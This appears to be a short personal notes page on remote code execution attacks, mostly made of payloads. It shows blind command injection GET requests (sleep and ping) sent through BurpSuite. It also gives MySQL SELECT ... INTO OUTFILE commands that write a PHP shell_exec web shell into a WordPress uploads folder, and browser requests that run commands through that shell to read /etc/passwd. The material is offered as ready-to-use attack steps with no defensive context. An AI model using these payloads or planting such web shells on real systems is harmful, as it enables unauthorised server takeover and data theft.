Skip to content

RCE attack - Remote Code Execution

RCE attacks involve attackers manipulating network traffic by exploiting code vulnerabilities to access a corporate system.

Exploiting Blind Remote Execution Vulnerability attack in a GET request in BurpSuite (to run the queries) and Wireshark (to capture the traffic).

1
2
3
4
5
6
________
GET /script.php?c=sleep+5&ok=ok HTTP/1.1
Host 192.168.137.130
User Agent....
...
________

Also other command:

1
GET /script.php?c=ping+192.168.139.130+-c+5&ok=ok HTTP/1.1

Gaining a reverse shell from SQL injection

Take a wordpress installation that uses a mysql database. If you manage to login into the mysql pannel (/phpmyadmin) as root then you could upload a php shell to the /wp-content/uploads/ folder.

1
Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";

Now code can be executed from the browser: 

1
https://example.com/blogblog/wp-content/uploads/shell.php?cmd=cat+/etc/passwd

One more example:

1
Select "<?php $output=shell_exec($_GET['cmd']);echo "<pre>".$output."</pre>"?>" into outfile "/var/www/https/shell.php" from mysql.user limit 1;

Now code can be executed from the browser: 

1
https://example.com/shell.php?cmd=cat+/etc/passwd
Last update: 2026-10-12
Created: January 18, 2023 23:33:16